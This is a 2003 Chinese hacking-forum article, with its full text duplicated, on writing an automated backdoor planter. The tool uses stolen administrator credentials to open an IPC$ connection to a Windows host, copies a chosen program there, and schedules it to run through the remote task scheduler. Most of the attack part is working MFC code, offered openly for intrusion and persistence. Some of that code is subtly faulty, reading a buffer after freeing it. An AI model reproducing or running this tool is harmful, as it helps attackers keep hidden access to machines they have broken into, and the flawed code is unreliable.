浅析”流光种植者”的编程实现
创建时间:2003-10-01
文章属性:原创
文章提交:Inetufo (Inetufo_at_fz5fz.org)
浅析”流光种植者”的编程实现
Author:Inetufo
Email:Inetufo@fz5fz.org
Homepage:http://www.fz5fz.org
我们在获取了远程主机管理员权限的帐号和密码之后,往往会想办法为自己留一个后门,这就不得不在远程主机上启动我们的后门程序。通常的做法是用一系列的命令来实现。关于IPC$的入侵教程在网上已是一大堆,但这些命令使用起来未免过于烦琐。流光的种植者为我们提供了一个自动在远程主机上启动程序的功能。这样在远程主机上启动程序就方便了许多。由于现在流光旧版本已经到期,小榕又迟迟不发布新版本,网上各种破解版也存在这样那样的问题。所以现在也难得装流光了(我并没有说流光不优秀的意思,大家别丢我啊:)),但是种植者用起来的确是很方便。所以我决定自己写个具有种植者功能的程序出来,正好前段时间有个网友在我们FZ5FZ的留言板上问了一个类似的问题。他给出来一大段代码,然后到启动程序的时候问应该用什么方法。经过一会的思考,直觉告诉我流光种植者应该就是把几个网络命令高度集成的一个模块,它启动程序的原理应该和用at命令启动程序的原理类似。于是我反汇编了windows xp(我用的系统是windows xp,windows 2000一样)自带的那个at.exe程序,观察了一下程序所调用的DLL文件,经过一阵分析发现程序使用了NETAPI32.DLL中的NetScheduleJobAdd函数。(当然你不必一定要用反汇编的方法来获得这个信息,很多工具都能分析程序所引用的模块,比如VC++6.0自带的DEPENDS.EXE)一看这个程序的名字想必应该知道它的功用了吧。在MSDN中一查,此函数的定义如下:
NetScheduleJobAdd
The NetScheduleJobAdd function submits a job to run at a specified future time and date. This function requires that the schedule service be started at the computer to which the job is submitted.
NET_API_STATUS NetScheduleJobAdd(
LPCWSTR Servername, //远程主机的DNS名或者NetBIOS名,NULL表示本地主机
LPBYTE Buffer,//指向AT_INFO结构的指针
LPDWORD JobId//指向新添加的作业ID的指针
);
英文很简单我就不用翻译了。需要注意的是此函数需要依靠schedule服务。
好了,关键就在这里了,现在就可以动手来写我们自己的”流光种植者了”,我暂且给它取名叫做SchedExec吧(因为是依靠schedule服务来启动程序的)。
在整个程序的编写过程中,我觉得最难的不是功能代码,而是界面处理的代码。呵呵,其实仅仅实现功能的部分是很简单的。我们现在就来看看几个重要的函数。
首先要和远程主机建立IPC连接,这是通过函数
DWORD WNetAddConnection2(
LPNETRESOURCE lpNetResource,// NETRESOURCE结构指针
LPCTSTR lpPassword,//密码指针
LPCTSTR lpUsername,//用户名指针
DWORD dwFlags//用于描述连接选项的值
);
来实现的。
接下来要获取远程主机的时间,这可以通过函数:
NET_API_STATUS NetRemoteTOD(
LPCWSTR UncServerName,// 远程主机的DNS名或者NetBIOS名,NULL表示本地主机
LPBYTE* BufferPtr//TIME_OF_DAY_INFO结构指针
);
来实现。
至于文件拷贝的部分很简单了,我就不说了。
最后就是使用NetScheduleJobAdd API函数来添加一项新的作业。
这几个函数的详细定义请参考MSDN文档。
下面我给出实现功能的代码片段(由于是MFC的GUI程序,所以不可能在文章中把全部代码贴出来,你可以到我们主页下载完整的工程文件)
//开始按钮的消息响应函数,所有功能在此实现
void CIpctoolsDlg::OnStart()
{
UpdateData();
CPromptDlg PromptDlg;
if(m_strIPAddress.IsEmpty()||m_strUserName.IsEmpty())
{
PromptDlg.m_strMessage = _T("请填写IP、用户名、密码。");
PromptDlg.DoModal();
return;
}
if(m_strLocalFile.IsEmpty())
{
CFileDlg dlg;
dlg.m_strMessage = _T("文件存在了吗?");
if(dlg.DoModal()==IDCANCEL)
return;
else
bFileExist =TRUE;
}
if(m_strStartCmd.IsEmpty())
{
PromptDlg.m_strMessage = _T("请指定你要运行的程序。");
PromptDlg.DoModal();
return;
}
//用自定义函数建立IPC连接
BOOL bRet = ConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR(),m_strUserName.operator LPCTSTR(),m_strPassWord.operator LPCTSTR());
if(bRet == FALSE)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=50;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("连接失败。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
LPTIME_OF_DAY_INFO pBuf=NULL;
NET_API_STATUS nStatus;
nStatus = NetRemoteTOD(m_strIPAddress.AllocSysString(),(LPBYTE*)&pBuf); //获取远程主机的时间
if (nStatus != NERR_Success)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=100;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("获取远程主机时间失败。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
if (pBuf != NULL)
NetApiBufferFree(pBuf);
strRemoteFile = _T("\\\\"+m_strIPAddress+"\\"+m_strRemoteFile);
if(!bFileExist)
{
bRet = ::CopyFile(m_strLocalFile.operator LPCTSTR(),strRemoteFile.operator LPCTSTR(),FALSE);//向远程主机拷贝文件
if(!bRet)
{
DWORD dwret = GetLastError();
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=150;i++)
m_Progress.SetPos(i);
CString strMessage;
strMessage.Format(_T("(%d)"),dwret);
strMessage = _T("复制文件")+strRemoteFile+_T("失败")+strMessage;
PromptDlg.m_strMessage = strMessage;
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
}
DWORD Day=1;
CTime tm(pBuf->tod_year,pBuf->tod_month,pBuf->tod_day,pBuf->tod_hours+(-pBuf->tod_timezone)/60,pBuf->tod_mins,pBuf->tod_secs);
for(int i=1;i<tm.GetDay();i++)
Day = Day*2;
LPDWORD JobId;
AT_INFO ai;
memset(&ai,0,sizeof(ai));
//给ai结构变量各成员赋值
ai.Command = m_strStartCmd.AllocSysString();
ai.DaysOfMonth = Day;
ai.DaysOfWeek = 0;
ai.Flags = JOB_NONINTERACTIVE;
ai.JobTime = ((pBuf->tod_hours+(-pBuf->tod_timezone)/60)%24)*60*60*1000+(pBuf->tod_mins+1)*60*1000;
nStatus = NetScheduleJobAdd(m_strIPAddress.AllocSysString(),LPBYTE(&ai),JobId);//添加作业
if(nStatus == NERR_Success)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=1000;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("指定的程序将于60秒后启动。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
else
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
DWORD dwret = GetLastError();
for(int i=1;i<=200;i++)
m_Progress.SetPos(i);
CString strMessage;
strMessage.Format(_T("(%d)"),dwret);
strMessage = _T("启动程序失败")+strMessage;
PromptDlg.m_strMessage= strMessage;
if(PromptDlg.DoModal() ==IDOK)
m_Progress.SetPos(0);
return;
}
}
最后说明一下,由于前几天发布那个程序没有对GMT时间本地化所以在凌晨0点到凌晨8点时候启动程序会失败。现在程序已修改。需要的可以在我们主页重新下载。如果你有什么问题欢迎给我来信交流。祝大家国庆快乐,我该睡觉了,很久没有熬夜了:)。
Inetufo写于2003-10-01 凌晨5点。
关于我们:
FZ5FZ 主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。
FZ5FZ 主页:http://www.fz5fz.org
文章属性:原创
文章提交:Inetufo (Inetufo_at_fz5fz.org)
浅析”流光种植者”的编程实现
Author:Inetufo
Email:Inetufo@fz5fz.org
Homepage:http://www.fz5fz.org
我们在获取了远程主机管理员权限的帐号和密码之后,往往会想办法为自己留一个后门,这就不得不在远程主机上启动我们的后门程序。通常的做法是用一系列的命令来实现。关于IPC$的入侵教程在网上已是一大堆,但这些命令使用起来未免过于烦琐。流光的种植者为我们提供了一个自动在远程主机上启动程序的功能。这样在远程主机上启动程序就方便了许多。由于现在流光旧版本已经到期,小榕又迟迟不发布新版本,网上各种破解版也存在这样那样的问题。所以现在也难得装流光了(我并没有说流光不优秀的意思,大家别丢我啊:)),但是种植者用起来的确是很方便。所以我决定自己写个具有种植者功能的程序出来,正好前段时间有个网友在我们FZ5FZ的留言板上问了一个类似的问题。他给出来一大段代码,然后到启动程序的时候问应该用什么方法。经过一会的思考,直觉告诉我流光种植者应该就是把几个网络命令高度集成的一个模块,它启动程序的原理应该和用at命令启动程序的原理类似。于是我反汇编了windows xp(我用的系统是windows xp,windows 2000一样)自带的那个at.exe程序,观察了一下程序所调用的DLL文件,经过一阵分析发现程序使用了NETAPI32.DLL中的NetScheduleJobAdd函数。(当然你不必一定要用反汇编的方法来获得这个信息,很多工具都能分析程序所引用的模块,比如VC++6.0自带的DEPENDS.EXE)一看这个程序的名字想必应该知道它的功用了吧。在MSDN中一查,此函数的定义如下:
NetScheduleJobAdd
The NetScheduleJobAdd function submits a job to run at a specified future time and date. This function requires that the schedule service be started at the computer to which the job is submitted.
NET_API_STATUS NetScheduleJobAdd(
LPCWSTR Servername, //远程主机的DNS名或者NetBIOS名,NULL表示本地主机
LPBYTE Buffer,//指向AT_INFO结构的指针
LPDWORD JobId//指向新添加的作业ID的指针
);
英文很简单我就不用翻译了。需要注意的是此函数需要依靠schedule服务。
好了,关键就在这里了,现在就可以动手来写我们自己的”流光种植者了”,我暂且给它取名叫做SchedExec吧(因为是依靠schedule服务来启动程序的)。
在整个程序的编写过程中,我觉得最难的不是功能代码,而是界面处理的代码。呵呵,其实仅仅实现功能的部分是很简单的。我们现在就来看看几个重要的函数。
首先要和远程主机建立IPC连接,这是通过函数
DWORD WNetAddConnection2(
LPNETRESOURCE lpNetResource,// NETRESOURCE结构指针
LPCTSTR lpPassword,//密码指针
LPCTSTR lpUsername,//用户名指针
DWORD dwFlags//用于描述连接选项的值
);
来实现的。
接下来要获取远程主机的时间,这可以通过函数:
NET_API_STATUS NetRemoteTOD(
LPCWSTR UncServerName,// 远程主机的DNS名或者NetBIOS名,NULL表示本地主机
LPBYTE* BufferPtr//TIME_OF_DAY_INFO结构指针
);
来实现。
至于文件拷贝的部分很简单了,我就不说了。
最后就是使用NetScheduleJobAdd API函数来添加一项新的作业。
这几个函数的详细定义请参考MSDN文档。
下面我给出实现功能的代码片段(由于是MFC的GUI程序,所以不可能在文章中把全部代码贴出来,你可以到我们主页下载完整的工程文件)
//开始按钮的消息响应函数,所有功能在此实现
void CIpctoolsDlg::OnStart()
{
UpdateData();
CPromptDlg PromptDlg;
if(m_strIPAddress.IsEmpty()||m_strUserName.IsEmpty())
{
PromptDlg.m_strMessage = _T("请填写IP、用户名、密码。");
PromptDlg.DoModal();
return;
}
if(m_strLocalFile.IsEmpty())
{
CFileDlg dlg;
dlg.m_strMessage = _T("文件存在了吗?");
if(dlg.DoModal()==IDCANCEL)
return;
else
bFileExist =TRUE;
}
if(m_strStartCmd.IsEmpty())
{
PromptDlg.m_strMessage = _T("请指定你要运行的程序。");
PromptDlg.DoModal();
return;
}
//用自定义函数建立IPC连接
BOOL bRet = ConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR(),m_strUserName.operator LPCTSTR(),m_strPassWord.operator LPCTSTR());
if(bRet == FALSE)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=50;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("连接失败。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
LPTIME_OF_DAY_INFO pBuf=NULL;
NET_API_STATUS nStatus;
nStatus = NetRemoteTOD(m_strIPAddress.AllocSysString(),(LPBYTE*)&pBuf); //获取远程主机的时间
if (nStatus != NERR_Success)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=100;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("获取远程主机时间失败。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
if (pBuf != NULL)
NetApiBufferFree(pBuf);
strRemoteFile = _T("\\\\"+m_strIPAddress+"\\"+m_strRemoteFile);
if(!bFileExist)
{
bRet = ::CopyFile(m_strLocalFile.operator LPCTSTR(),strRemoteFile.operator LPCTSTR(),FALSE);//向远程主机拷贝文件
if(!bRet)
{
DWORD dwret = GetLastError();
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=150;i++)
m_Progress.SetPos(i);
CString strMessage;
strMessage.Format(_T("(%d)"),dwret);
strMessage = _T("复制文件")+strRemoteFile+_T("失败")+strMessage;
PromptDlg.m_strMessage = strMessage;
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
}
DWORD Day=1;
CTime tm(pBuf->tod_year,pBuf->tod_month,pBuf->tod_day,pBuf->tod_hours+(-pBuf->tod_timezone)/60,pBuf->tod_mins,pBuf->tod_secs);
for(int i=1;i<tm.GetDay();i++)
Day = Day*2;
LPDWORD JobId;
AT_INFO ai;
memset(&ai,0,sizeof(ai));
//给ai结构变量各成员赋值
ai.Command = m_strStartCmd.AllocSysString();
ai.DaysOfMonth = Day;
ai.DaysOfWeek = 0;
ai.Flags = JOB_NONINTERACTIVE;
ai.JobTime = ((pBuf->tod_hours+(-pBuf->tod_timezone)/60)%24)*60*60*1000+(pBuf->tod_mins+1)*60*1000;
nStatus = NetScheduleJobAdd(m_strIPAddress.AllocSysString(),LPBYTE(&ai),JobId);//添加作业
if(nStatus == NERR_Success)
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
for(int i=1;i<=1000;i++)
m_Progress.SetPos(i);
PromptDlg.m_strMessage = _T("指定的程序将于60秒后启动。");
if(PromptDlg.DoModal()==IDOK)
m_Progress.SetPos(0);
return;
}
else
{
DisConnectIPC((TCHAR *)m_strIPAddress.operator LPCTSTR());
DWORD dwret = GetLastError();
for(int i=1;i<=200;i++)
m_Progress.SetPos(i);
CString strMessage;
strMessage.Format(_T("(%d)"),dwret);
strMessage = _T("启动程序失败")+strMessage;
PromptDlg.m_strMessage= strMessage;
if(PromptDlg.DoModal() ==IDOK)
m_Progress.SetPos(0);
return;
}
}
最后说明一下,由于前几天发布那个程序没有对GMT时间本地化所以在凌晨0点到凌晨8点时候启动程序会失败。现在程序已修改。需要的可以在我们主页重新下载。如果你有什么问题欢迎给我来信交流。祝大家国庆快乐,我该睡觉了,很久没有熬夜了:)。
Inetufo写于2003-10-01 凌晨5点。
关于我们:
FZ5FZ 主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。
FZ5FZ 主页:http://www.fz5fz.org